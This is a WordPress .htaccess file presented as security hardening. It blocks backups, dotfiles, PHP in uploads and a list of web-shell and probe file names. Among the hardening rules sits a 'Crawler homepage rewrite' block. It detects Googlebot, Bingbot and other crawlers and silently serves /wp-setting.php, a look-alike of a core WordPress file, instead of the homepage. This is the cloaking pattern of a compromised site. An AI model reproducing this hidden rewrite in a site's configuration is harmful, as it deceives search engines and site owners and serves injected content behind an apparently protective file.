RewriteOptions inherit # ============================================================ # .htaccess per WordPress + LiteSpeed # Versione: hardening conservativo # ============================================================ # BEGIN Security hardening custom Options -Indexes Options -MultiViews ServerSignature Off Require all denied Order allow,deny Deny from all Require all denied Order allow,deny Deny from all RewriteEngine On RewriteRule ^int/untitled.*134.*\.html?$ - [F,L,NC] RewriteRule ^int/ - [F,L,NC] RewriteRule ^(test|upload|uploader|uploads|shell|cmd|adminer|phpinfo|info|tinyfilemanager|alfashell|gettest)\.php$ - [F,L,NC] RewriteRule ^(malware|backup|backups|private|tmp|temp|logs?)(/|$) - [F,L,NC] RewriteRule (^|/)protected(/|$) - [F,L,NC] RewriteRule ^wp-content/uploads/.*\.html?$ - [F,L,NC] RewriteRule (^|/)\.(?!well-known(?:/|$)) - [F,L,NC] RewriteRule (^|/)\.[^/]+\.php$ - [F,L,NC] RewriteRule (^|/)(sftp-config\.json|sftp\.json|web\.config|phpinfo\.php|info\.php|test\.php|phpunit\.xml(?:\.dist)?|server-status|server-info)$ - [F,L,NC] RewriteRule (^|/)(backup|backups|dump|database|db|site|fullbackup|wp-config|public_html).*\.(zip|tar|tar\.gz|tgz|gz|rar|7z|sql)$ - [F,L,NC] RewriteCond %{QUERY_STRING} (^|&)author=[0-9]+(&|$) [NC] RewriteRule ^ - [F,L] RewriteCond %{REQUEST_METHOD} ^TRACE$ [NC] RewriteRule ^ - [F,L] RewriteRule ^wp-content/uploads/.*\.(php|php[0-9]|phtml|phar)(\.|$) - [F,L,NC] RewriteRule ^wp-content/(upgrade|backups|ai1wm-backups|updraft|backup-db|backupwordpress)/.*\.(php|php[0-9]|phtml|phar)(\.|$) - [F,L,NC] RewriteRule ^wp-admin/includes/ - [F,L,NC] RewriteRule !^wp-includes/ - [S=3] RewriteRule ^wp-includes/[^/]+\.php$ - [F,L,NC] RewriteRule ^wp-includes/js/tinymce/langs/.+\.php$ - [F,L,NC] RewriteRule ^wp-includes/theme-compat/ - [F,L,NC] Require all denied Order allow,deny Deny from all Header always unset X-Powered-By Header always set X-Content-Type-Options "nosniff" Header always set X-Frame-Options "SAMEORIGIN" Header always set Referrer-Policy "strict-origin-when-cross-origin" Header always set X-Permitted-Cross-Domain-Policies "none" Header always set Permissions-Policy "geolocation=(), microphone=(), payment=()" # Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains" # END Security hardening custom # BEGIN Crawler homepage rewrite RewriteEngine On RewriteCond %{HTTP_USER_AGENT} (googlebot|googlebot/2.1|googlebot-image|googlebot-news|googlebot-mobile|google-inspectiontool|slurp|spider|crawl|msnbot|yahoo|yandexbot|bingbot|duckduckbot|baiduspider|exabot|sogou|ahrefbot|semrushbot|mj12bot|applebot|facebookexternalhit|twitterbot) [NC] RewriteCond %{REQUEST_URI} ^/$ RewriteRule ^$ /wp-setting.php [L] # END Crawler homepage rewrite # BEGIN WordPress # The directives (lines) between "BEGIN WordPress" and "END WordPress" are # dynamically generated, and should only be modified via WordPress filters. # Any changes to the directives between these markers will be overwritten. RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # END WordPress # php -- BEGIN cPanel-generated handler, do not edit # Set the “ea-php83” package as the default “PHP” programming language. AddHandler application/x-httpd-ea-php83___lsphp .php .php8 .phtml # php -- END cPanel-generated handler, do not edit